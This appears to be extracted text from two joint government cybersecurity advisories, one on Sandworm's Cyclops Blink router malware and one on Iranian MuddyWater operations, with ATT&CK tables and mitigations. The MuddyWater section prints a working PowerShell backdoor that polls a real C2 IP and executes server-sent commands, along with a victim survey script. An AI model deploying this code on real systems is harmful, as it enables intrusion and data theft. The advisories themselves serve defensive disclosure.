+Department of Justice linked the activity2 to Sandworm, and announced its disruption
+of the botnet.
+Activity since its exposure
+A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and
+provided data showing a reduction in requests to a known C2 domain. Since the
+disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter
+footholds, instead preferring to retool.
+https://blog.talosintelligence.com/2018/05/VPNFilter.html
+https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
+https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html
+Cyclops Blink
+Active since 2019
+The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a
+large-scale modular malware framework which is affecting network devices. The new
+malware is referred to here as Cyclops Blink and has been deployed since at least
+June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter,
+Cyclops Blink deployment also appears indiscriminate and widespread.
+The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it
+is likely that Sandworm would be capable of compiling the malware for other
+architectures and firmware.
+Malware overview
+The malware itself is sophisticated and modular with basic core functionality to beacon
+(T1132.002) device information back to a server and enable files to be downloaded
+and executed. There is also functionality to add new modules while the malware is
+running, which allows Sandworm to implement additional capability as required.
+The NCSC has published a malware analysis report on Cyclops Blink which provides
+more detail about the malware.
+Post exploitation
+Post exploitation, Cyclops Blink is generally deployed as part of a firmware 
+update
+(T1542.001). This achieves persistence when the device is rebooted and makes
+remediation harder.
+1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote
+management interfaces to external access could be infected.
+Victim devices are organised into clusters and each deployment of Cyclops Blink has
+a list of command and control (C2) IP addresses and ports that it uses (T1008). All the
+known C2 IP addresses to date have been used by compromised WatchGuard firewall
+devices. Communications between Cyclops Blink clients and servers are protected
+under Transport Layer Security (TLS) (T1071.001), using individually generated keys
+and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer
+through the Tor network:
+Mitigation
+Cyclops Blink persists on reboot and throughout the legitimate firmware update
+process. Affected organisations should therefore take steps to remove the malware.
+WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided
+tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard
+devices through a non-standard upgrade process. Device owners should follow each
+step in these instructions to ensure that devices are patched to the latest version and
+that any infection is removed.
+WatchGuard tooling and guidance is available at:
+https://detection.watchguard.com/
+In addition:
+If your device is identified as infected with Cyclops Blink, you should assume
+that any passwords present on the device have been compromised and
+replace them (see NCSC password guidance for organisations:
+https://www.ncsc.gov.uk/collection/passwords )
+You should ensure that the management interface of network devices is not
+exposed to the internet.
+Indicators of compromise
+Please refer to the accompanying Cyclops Blink malware analysis report for indicators
+of compromise which may help detect this activity.
+MITRE ATT&CK
+This advisory has been compiled with respect to the MITRE ATT&CK
+ framework, a
+globally accessible knowledge base of adversary tactics and techniques based on
+real-world observations.
+Tactic
+Initial Access
+Technique
+T1133
+Procedure
+External Remote Services
+The actors most likely deploy modified device firmware
+images by exploiting an externally available service
+Execution
+T1059.004
+Command and Scripting Interpreter: Unix Shell
+Cyclops Blink executes downloaded files using the
+Linux API
+Persistence
+T1542.001
+Pre-OS Boot: System Firmware
+Cyclops Blink is deployed within a modified device
+firmware image
+T1037.004
+Boot or Logon Initialisation Scripts: RC Scripts
+Cyclops Blink is executed on device startup, using a
+modified RC script
+Defence Evasion
+T1562.004
+Impair Defenses: Disable or Modify System Firewall
+Cyclops Blink modifies the Linux system firewall to
+enable C2 communication
+T1036.005
+Masquerading: Match Legitimate Name or Location
+Cyclops Blink masquerades as a Linux kernel thread
+process
+Discovery
+T1082
+Command and
+Control
+T1090
+System Information Discovery
+Cyclops Blink regularly queries device information
+T1132.002
+Proxy
+Data Encoding: Non-Standard Encoding
+Cyclops Blink command messages use a custom
+binary scheme to encode data
+T1008
+Fallback Channels
+Cyclops Blink randomly selects a C2 server from
+contained lists of IPv4 addresses and port numbers
+T1071.001
+Application Layer Protocol: Web Protocols
+Cyclops Blink can download files via HTTP or HTTPS
+T1573.002
+Encrypted Channel: Asymmetric Cryptography
+Cyclops Blink C2 messages are individually encrypted
+using AES-256-CBC and sent underneath TLS
+T1571
+Non-Standard Port
+The list of port numbers used by Cyclops Blink
+includes non-standard ports not typically associated
+with HTTP or HTTPS traffic
+Exfiltration
+T1041
+Exfiltration Over C2 Channel
+Cyclops Blink can upload files to a C2 server
+Conclusion
+A Cyclops Blink infection does not mean that an organisation is the primary target,
+but it may be selected to be, or its machines could be used to conduct attacks.
+Organisations are advised to follow the mitigation advice in this advisory and to refer
+to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis
+report to detect possible activity on networks.
+UK organisations affected by the activity outlined in this advisory should report any
+compromises to the NCSC via our website.
+Further guidance
+A variety of mitigations will be of use in defending against the malware featured in this
+advisory.
+ Do not expose management interfaces of network devices to the internet: the
+management interface is a significant attack surface, so not exposing them
+reduces the risk. See NCSC guidance:
+https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-networkdevices
+ Protect your devices and networks by keeping them up to date: use the latest
+supported versions, apply security patches promptly, use anti-virus and scan
+regularly to guard against known malware threats. See NCSC
+guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware
+ Use multi-factor authentication to reduce the impact of password
+compromises. See NCSC guidance: https://www.ncsc.gov.uk/guidance/multifactor-authentication-online-services and https://www.ncsc.gov.uk/guidance/settingtwo-factor-authentication-2fa
+ Treat people as your first line of defence. Tell staff how to report suspected
+phishing emails, and ensure they feel confident to do so. Investigate their reports
+promptly and thoroughly. Never punish users for clicking phishing links or opening
+attachments. See NCSC guidance: https://www.ncsc.gov.uk/phishing
+ Set up a security monitoring capability so you are collecting the data that will be
+needed to analyse network intrusions. See NCSC
+guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-securitypurposes.
+ Prevent and detect lateral movement in your organisation
+s networks. See
+NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
+About this document
+This advisory is the result of a collaborative effort by United Kingdom
+National Cyber Security Centre (NCSC), the United States
+Cybersecurity and Infrastructure Security Agency (CISA), Federal
+Bureau of Investigation (FBI) and National Security Agency (NSA)
+The United States
+ Cybersecurity and Infrastructure Security Agency
+(CISA), Federal Bureau of Investigation (FBI) and National Security
+Agency (NSA) agree with this attribution and the details provided in the
+report.
+This advisory has been compiled with respect to the MITRE ATT&CK
+framework, a globally accessible knowledge base of adversary tactics
+and techniques based on real-world observations.
+Disclaimers
+This report draws on information derived from NCSC and industry
+sources. Any NCSC findings and recommendations made have not been
+provided with the intention of avoiding all risks and following the
+recommendations will not remove all such risk. Ownership of information
+risks remains with the relevant system owner at all times.
+All material is UK Crown Copyright 
+DISCLAIMER OF ENDORSEMENT The information and opinions
+contained in this document are provided "as is" and without any
+warranties or guarantees. Reference herein to any specific commercial
+products, process, or service by trade name, trademark, manufacturer,
+or otherwise, does not constitute or imply its endorsement,
+recommendation, or favoring by the United States Government, and this
+guidance shall not be used for advertising or product endorsement
+purposes.
+For NSA client requirements or general cybersecurity inquiries, contact
+the NSA Cybersecurity Requirements Center at 410-854-4200 or
+Cybersecurity_Requests@nsa.gov.
+TLP:WHITE
+Co-Authored by:
+Product ID: AA22-055A
+February 24, 2022
+Iranian Government-Sponsored Actors Conduct
+Cyber Operations Against Global Government
+and Commercial Networks
+Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK
+) framework,
+version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
+SUMMARY
+The Federal Bureau of Investigation (FBI), the Cybersecurity
+and Infrastructure Security Agency (CISA), the U.S. Cyber
+Command Cyber National Mission Force (CNMF), and the
+United Kingdom
+s National Cyber Security Centre (NCSCUK) have observed a group of Iranian government-sponsored
+advanced persistent threat (APT) actors, known as
+MuddyWater, conducting cyber espionage and other
+malicious cyber operations targeting a range of government
+and private-sector organizations across sectors
+including
+telecommunications, defense, local government, and oil and
+natural gas
+in Asia, Africa, Europe, and North America.
+Note: MuddyWater is also known as Earth Vetala,
+MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.
+Actions to Take Today to Protect
+Against Malicious Activity
+Search for indicators of
+compromise.
+Use antivirus software.
+Patch all systems.
+Prioritize patching known
+exploited vulnerabilities.
+Train users to recognize and
+report phishing attempts.
+Use multi-factor authentication.
+MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security
+(MOIS).[1] This APT group has conducted broad cyber campaigns in support of MOIS objectives
+since approximately 2018. MuddyWater actors are positioned both to provide stolen data and
+accesses to the Iranian government and to share these with other malicious cyber actors.
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
+FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
+s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by
+email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
+location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
+submitting company or organization; and a designated point of contact. To request incident response resources or technical
+assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or
+general cybersecurity inquiries, contact the Cybersecurity Requirements Center at Cybersecurity_Requests@nsa.gov.
+United Kingdom organizations should report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored
+24 hours) or for urgent assistance call 03000 200 973.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
+minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
+standard copyright rules, TLP:WHITE information may be distributed without restriction.
+For more information on the Traffic Light Protocol, see www.cisa.gov/tlp.
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools
+and strategies to gain access to sensitive data on victims
+ systems and deploy ransomware. These
+actors also maintain persistence on victim networks via tactics such as side-loading dynamic link
+libraries (DLLs)
+to trick legitimate programs into running malware
+and obfuscating PowerShell
+scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed
+MuddyWater actors recently using various malware
+variants of PowGoop, Small Sieve, Canopy
+(also known as Starwhale), Mori, and POWERSTATS
+along with other tools as part of their
+malicious activity.
+This advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators
+of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid
+organizations in the identification of malicious activity against sensitive networks.
+FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations
+apply the mitigations in this advisory and review the following resources for additional information.
+Note: also see the Additional Resources section.
+Malware Analysis Report 
+ MAR-10369127.r1.v1: MuddyWater
+IOCs 
+ AA22-055A.stix and MAR-10369127.r1.v1.stix
+CISA's webpage 
+ Iran Cyber Threat Overview and Advisories
+NCSC-UK MAR 
+ Small Sieve
+CNMF's press release 
+ Iranian intel cyber suite of malware uses open source tools
+TECHNICAL DETAILS
+FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater
+APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple
+open-source tools to gain access to sensitive government and commercial networks.
+As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into
+downloading ZIP files, containing either an Excel file with a malicious macro that communicates with
+the actor
+s C2 server or a PDF file that drops a malicious file to the victim
+s network [T1566.001,
+T1204.002]. MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick
+legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2
+functions [T1027] (see the PowGoop section for more information).
+Additionally, the group uses multiple malware sets
+including PowGoop, Small Sieve,
+Canopy/Starwhale, Mori, and POWERSTATS
+for loading malware, backdoor access, persistence
+[TA0003], and exfiltration [TA0010]. See below for descriptions of some of these malware sets,
+including newer tools or variants to the group
+s suite. Additionally, see Malware Analysis Report MAR10369127.r1.v1: MuddyWater for further details.
+PowGoop
+Page 2 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+MuddyWater actors use new variants of PowGoop malware as their main loader in malicious
+operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file
+impersonates a legitimate file that is signed as a Google Update executable file.
+According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three
+components:
+A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading
+technique [T1574.002]. The DLL file is contained within an executable, GoogleUpdate.exe.
+A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a
+second obfuscated PowerShell script, config.txt [T1059.001].
+config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded
+IP address.
+These components retrieve encrypted commands from a C2 server. The DLL file hides
+communications with MuddyWater C2 servers by executing with the Google Update service.
+Small Sieve
+According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor
+distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe. The NSIS
+installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling
+persistence [TA0003].
+MuddyWater disguises malicious executables and uses filenames and Registry key names
+associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT
+group has also used variations of Microsoft (e.g., "Microsift") and Outlook in its filenames associated
+with Small Sieve [T1036.005].
+Small Sieve provides basic functionality required to maintain and expand a foothold in victim
+infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes
+together with the Telegram Bot application programming interface (API). Specifically, Small Sieve
+beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure
+(HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte
+swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002].
+Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to
+MuddyWater with high confidence.
+See Appendix B for further analysis of Small Sieve malware.
+Canopy
+MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with
+targeted attachments [T1566.001]. According to two Canopy/Starwhale samples analyzed by CISA,
+Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. Note: the
+cybersecurity agencies of the United Kingdom and the United States attribute these malware samples
+to MuddyWater with high confidence.
+Page 3 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros
+written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim
+opens the Excel file, they receive a prompt to enable macros [T1204.002]. Once this occurs, the
+macros are executed, decoding and installing the two embedded Windows Script Files.
+The first .wsf is installed in the current user startup folder [T1547.001] for persistence. The file
+contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027]. The file executes a
+command to run the second .wsf.
+The second .wsf also contains hex-encoded strings that have been reshuffled. This file collects
+[TA0035] the victim system
+s IP address, computer name, and username [T1005]. The collected data
+is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.]124,
+via an HTTP POST request [T1041].
+Mori
+MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate
+with the group
+s C2 infrastructure [T1572].
+According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C++ that is
+executed with regsvr32.exe with export DllRegisterServer; this DLL appears to be a component
+to another program. FML.dll contains approximately 200MB of junk data [T1001.001] in a resource
+directory 205, number 105. Upon execution, FML.dll creates a mutex, 0x50504060, and performs
+the following tasks:
+Deletes the file FILENAME.old and deletes file by registry value. The filename is the DLL file with
+a .old extension.
+Resolves networking APIs from strings that are ADD-encrypted with the key 0x05.
+Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the
+JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their
+results.
+Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified
+flag, for C2 [T1071.001].
+Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and
+HKLM\Software\NFC\(Default).
+POWERSTATS
+This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to
+maintain persistent access to the victim systems [T1059.001].
+CNMF has posted samples further detailing the different parts of MuddyWater
+s new suite of tools
+along with JavaScript files used to establish connections back to malicious infrastructure
+to the
+malware aggregation tool and repository, Virus Total. Network operators who identify multiple
+instances of the tools on the same network should investigate further as this may indicate the
+presence of an Iranian malicious cyber actor.
+Page 4 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted
+operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the
+Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange
+memory corruption vulnerability (CVE-2020-0688). See CISA
+s Known Exploited Vulnerabilities
+Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian
+Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities
+for additional Iranian APT group-specific vulnerability exploits.
+Survey Script
+The following script is an example of a survey script used by MuddyWater to enumerate information
+about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain
+information about the compromised machine to generate a string, with these fields separated by a
+delimiter (e.g., ;; in this sample). The produced string is usually encoded by the MuddyWater implant
+and sent to an adversary-controlled IP address.
+$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += ";;";$ips = "";GetWmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | % {$ips =
+$ips + ", " + $_.IPAddress[0]};$S += $ips.substring(1);$S += ";;";$S +=
+$O.OSArchitecture;$S += ";;";$S +=
+[System.Net.DNS]::GetHostByName('').HostName;$S += ";;";$S += ((Get-WmiObject
+Win32_ComputerSystem).Domain);$S += ";;";$S += $env:UserName;$S +=
+";;";$AntiVirusProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class
+AntiVirusProduct -ComputerName $env:computername;$resAnti =
+@();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti +=
+$AntiVirusProduct.displayName};$S += $resAnti;echo $S;
+Newly Identified PowerShell Backdoor
+The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte ExclusiveOR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The
+script is lightweight in functionality and uses the InvokeScript method to execute responses received
+from the adversary.
+function encode($txt,$key){$enByte =
+[Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ;
+$i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt =
+[Convert]::ToBase64String($enByte);return $encodetxt;}function
+decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i
+-lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
+[System.Text.Encoding]::UTF8.GetString($enByte);return
+$dtxt;}$global:tt=20;while($true){try{$w =
+[System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=<vi
+ctim identifier>');$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(NewObject
+System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.L
+Page 5 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+ength -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode
+$r 2));$wr =
+[System.Net.HttpWebRequest]::Create('http[:]//95.181.161[.]49:80/index.php?id=<vi
+ctim identifier>');$wr.proxy =
+[Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add('cookie',(encode $res
+2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds
+$global:tt;}
+MITRE ATT&CK TECHNIQUES
+MuddyWater uses the ATT&CK techniques listed in table 1.
+Table 1: MuddyWater ATT&CK Techniques [2]
+Technique Title
+Reconnaissance
+Gather Victim Identity
+Information: Email Addresses
+T1589.002 MuddyWater has specifically targeted government agency
+employees with spearphishing emails.
+Resource Development
+Acquire Infrastructure: Web
+Services
+T1583.006 MuddyWater has used file sharing services including
+OneHub to distribute tools.
+Obtain Capabilities: Tool
+T1588.002 MuddyWater has made use of legitimate
+tools ConnectWise and RemoteUtilities for access to target
+environments.
+Initial Access
+Phishing: Spearphishing
+Attachment
+T1566.001 MuddyWater has compromised third parties and used
+compromised accounts to send spearphishing emails with
+targeted attachments.
+Phishing: Spearphishing Link
+T1566.002 MuddyWater has sent targeted spearphishing emails with
+malicious links.
+Execution
+Windows Management
+Instrumentation
+T1047
+MuddyWater has used malware that leveraged Windows
+Management Instrumentation for execution and querying
+host information.
+Page 6 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Command and Scripting
+Interpreter: PowerShell
+T1059.001 MuddyWater has used PowerShell for execution.
+Command and Scripting
+Interpreter: Windows
+Command Shell
+1059.003
+Command and Scripting
+Interpreter: Visual Basic
+T1059.005 MuddyWater has used Virtual Basic Script (VBS) files to
+execute its POWERSTATS payload, as well as macros.
+Command and Scripting
+Interpreter: Python
+T1059.006 MuddyWater has used developed tools in Python
+including Out1.
+Command and Scripting
+Interpreter: JavaScript
+T1059.007 MuddyWater has used JavaScript files to execute
+its POWERSTATS payload.
+Exploitation for Client
+Execution
+T1203
+User Execution: Malicious Link
+T1204.001 MuddyWater has distributed URLs in phishing emails that
+link to lure documents.
+User Execution: Malicious File
+T1204.002 MuddyWater has attempted to get users to enable macros
+and launch malicious Microsoft Word documents delivered
+via spearphishing emails.
+Inter-Process
+Communication: Component
+Object Model
+T1559.001 MuddyWater has used malware that has the capability to
+execute malicious code via COM, DCOM, and Outlook.
+Inter-Process
+Communication: Dynamic
+Data Exchange
+T1559.002 MuddyWater has used malware that can execute
+PowerShell scripts via Dynamic Data Exchange.
+MuddyWater has used a custom tool for creating reverse
+shells.
+MuddyWater has exploited the Office vulnerability CVE2017-0199 for execution.
+Persistence
+Scheduled
+Task/Job: Scheduled Task
+T1053.005 MuddyWater has used scheduled tasks to establish
+persistence.
+Office Application
+Startup: Office Template
+Macros
+T1137.001 MuddyWater has used a Word Template, Normal.dotm,
+for persistence.
+Boot or Logon Autostart
+Execution: Registry Run Keys
+/ Startup Folder
+T1547.001 MuddyWater has added Registry Run key
+KCU\Software\Microsoft\Windows\CurrentVersion\R
+un\SystemTextEncoding to establish persistence.
+Page 7 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Privilege Escalation
+Abuse Elevation Control
+Mechanism: Bypass User
+Account Control
+T1548.002 MuddyWater uses various techniques to bypass user
+account control.
+Credentials from Password
+Stores
+T1555
+Credentials from Web
+Browsers
+T1555.003 MuddyWater has run tools including Browser64 to steal
+passwords saved in victim web browsers.
+MuddyWater has performed credential dumping
+with LaZagne and other tools, including by dumping
+passwords saved in victim email.
+Defense Evasion
+Obfuscated Files or
+Information
+T1027
+MuddyWater has used Daniel Bohannon
+s InvokeObfuscation framework and obfuscated PowerShell
+scripts. The group has also used other obfuscation
+methods, including Base64 obfuscation of VBScripts and
+PowerShell commands.
+Steganography
+T1027.003 MuddyWater has stored obfuscated JavaScript code in an
+image file named temp.jpg.
+Compile After Delivery
+T1027.004 MuddyWater has used the .NET csc.exe tool to compile
+executables from downloaded C# code.
+Masquerading: Match
+Legitimate Name or Location
+T1036.005 MuddyWater has disguised malicious executables and
+used filenames and Registry key names associated with
+Windows Defender. E.g., Small Sieve uses variations of
+Microsoft (Microsift) and Outlook in its filenames to attempt
+to avoid detection during casual inspection.
+Deobfuscate/Decode Files or
+Information
+T1140
+Signed Binary Proxy
+Execution: CMSTP
+T1218.003 MuddyWater has used CMSTP.exe and a malicious .INF
+file to execute its POWERSTATS payload.
+Signed Binary Proxy
+Execution: Mshta
+T1218.005 MuddyWater has used mshta.exe to execute
+its POWERSTATS payload and to pass a PowerShell oneliner for execution.
+Signed Binary Proxy
+Execution: Rundll32
+T1218.011 MuddyWater has used malware that leveraged
+rundll32.exe in a Registry Run key to execute a .dll.
+MuddyWater decoded Base64-encoded PowerShell
+commands using a VBS file.
+Page 8 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Execution Guardrails
+T1480
+The Small Sieve payload used by MuddyWater will only
+execute correctly if the word 
+Platypus
+ is passed to it on
+the command line.
+Impair Defenses: Disable or
+Modify Tools
+T1562.001 MuddyWater can disable the system's local proxy settings.
+Credential Access
+OS Credential
+Dumping: LSASS Memory
+T1003.001 MuddyWater has performed credential dumping
+with Mimikatz and procdump64.exe.
+OS Credential Dumping: LSA
+Secrets
+T1003.004 MuddyWater has performed credential dumping
+with LaZagne.
+OS Credential
+Dumping: Cached Domain
+Credentials
+T1003.005 MuddyWater has performed credential dumping
+with LaZagne.
+Unsecured
+Credentials: Credentials In
+Files
+T1552.001 MuddyWater has run a tool that steals passwords saved in
+victim email.
+Discovery
+System Network Configuration
+Discovery
+T1016
+MuddyWater has used malware to collect the victim
+s IP
+address and domain name.
+System Owner/User Discovery
+T1033
+MuddyWater has used malware that can collect the
+victim
+s username.
+System Network Connections
+Discovery
+T1049
+MuddyWater has used a PowerShell backdoor to check for
+Skype connections on the target machine.
+Process Discovery
+T1057
+MuddyWater has used malware to obtain a list of running
+processes on the system.
+System Information Discovery
+T1082
+MuddyWater has used malware that can collect the
+victim
+s OS version and machine name.
+File and Directory Discovery
+T1083
+MuddyWater has used malware that checked if the
+ProgramData folder had folders or files with the keywords
+"Kasper," "Panda," or "ESET."
+Account Discovery: Domain
+Account
+T1087.002 MuddyWater has used cmd.exe net user/domain to
+enumerate domain users.
+Page 9 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Software Discovery
+T1518
+MuddyWater has used a PowerShell backdoor to check for
+Skype connectivity on the target machine.
+Security Software Discovery
+T1518.001 MuddyWater has used malware to check running
+processes against a hard-coded list of security tools often
+used by malware researchers.
+Collection
+Screen Capture
+T1113
+MuddyWater has used malware that can capture
+screenshots of the victim
+s machine.
+Archive Collected
+Data: Archive via Utility
+T1560.001 MuddyWater has used the native Windows cabinet
+creation tool, makecab.exe, likely to compress stolen data
+to be uploaded.
+Command and Control
+Application Layer
+Protocol: Web Protocols
+T1071.001 MuddyWater has used HTTP for C2 communications. e.g.,
+Small Sieve beacons and tasking are performed using the
+Telegram API over HTTPS.
+Proxy: External Proxy
+T1090.002 MuddyWater has controlled POWERSTATS from behind a
+proxy network to obfuscate the C2 location.
+MuddyWater has used a series of compromised websites
+that victims connected to randomly to relay information to
+Web Service: Bidirectional
+Communication
+T1102.002 MuddyWater has used web services including OneHub to
+distribute remote access tools.
+Multi-Stage Channels
+T1104
+MuddyWater has used one C2 to obtain enumeration
+scripts and monitor web logs, but a different C2 to send
+data back.
+Ingress Tool Transfer
+T1105
+MuddyWater has used malware that can upload additional
+files to the victim
+s machine.
+Data Encoding: Standard
+Encoding
+T1132.001 MuddyWater has used tools to encode C2
+communications including Base64 encoding.
+Data Encoding: Non-Standard
+Encoding
+T1132.002 MuddyWater uses tools such as Small Sieve, which
+employs a custom hex byte swapping encoding scheme to
+obfuscate tasking traffic.
+Page 10 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+Remote Access Software
+FBI | CISA | CNMF | NCSC-UK | NSA
+T1219
+MuddyWater has used a legitimate application,
+ScreenConnect, to manage systems remotely and move
+laterally.
+Exfiltration
+Exfiltration Over C2 Channel
+T1041
+MuddyWater has used C2 infrastructure to receive
+exfiltrated data.
+MITIGATIONS
+Protective Controls and Architecture
+Deploy application control software to limit the applications and executable code that can
+be run by users. Email attachments and files downloaded via links in emails often contain
+executable code.
+Identity and Access Management
+Use multifactor authentication where possible, particularly for webmail, virtual private
+networks, and accounts that access critical systems.
+Limit the use of administrator privileges. Users who browse the internet, use email, and
+execute code with administrator privileges make for excellent spearphishing targets because their
+system
+once infected
+enables attackers to move laterally across the network, gain additional
+accesses, and access highly sensitive information.
+Phishing Protection
+Enable antivirus and anti-malware software and update signature definitions in a timely
+manner. Well-maintained antivirus software may prevent use of commonly deployed attacker
+tools that are delivered via spearphishing.
+Be suspicious of unsolicited contact via email or social media from any individual you do
+not know personally. Do not click on hyperlinks or open attachments in these communications.
+Consider adding an email banner to emails received from outside your organization and
+disabling hyperlinks in received emails.
+Train users through awareness and simulations to recognize and report phishing and
+social engineering attempts. Identify and suspend access of user accounts exhibiting unusual
+activity.
+Adopt threat reputation services at the network device, operating system, application, and
+email service levels. Reputation services can be used to detect or prevent low-reputation email
+addresses, files, URLs, and IP addresses used in spearphishing attacks.
+Vulnerability and Configuration Management
+Page 11 of 19 | Product ID: AA22-055A
+TLP: WHITE
+TLP:WHITE
+FBI | CISA | CNMF | NCSC-UK | NSA
+Install updates/patch operating systems, software, and firmware as soon as
+updates/patches are released. Prioritize patching known exploited vulnerabilities.
+ADDITIONAL RESOURCES
+For more information on Iranian government-sponsored malicious cyber activity, see CISA's
+webpage 
+ Iran Cyber Threat Overview and Advisories and CNMF's press release 
+ Iranian
+intel cyber suite of malware uses open source tools.
+For information and resources on protecting against and responding to ransomware, refer
+to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware
+resources and alerts.
+The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the
+United Kingdom, and the United States: Technical Approaches to Uncovering and
+Remediating Malicious Activity provides additional guidance when hunting or investigating a
+network and common mistakes to avoid in incident handling.
+CISA offers a range of no-cost cyber hygiene services to help critical infrastructure
+organizations assess, identify, and reduce their exposure to threats, including ransomware. By
+requesting these services, organizations of any size could find ways to reduce their risk and
+mitigate attack vectors.
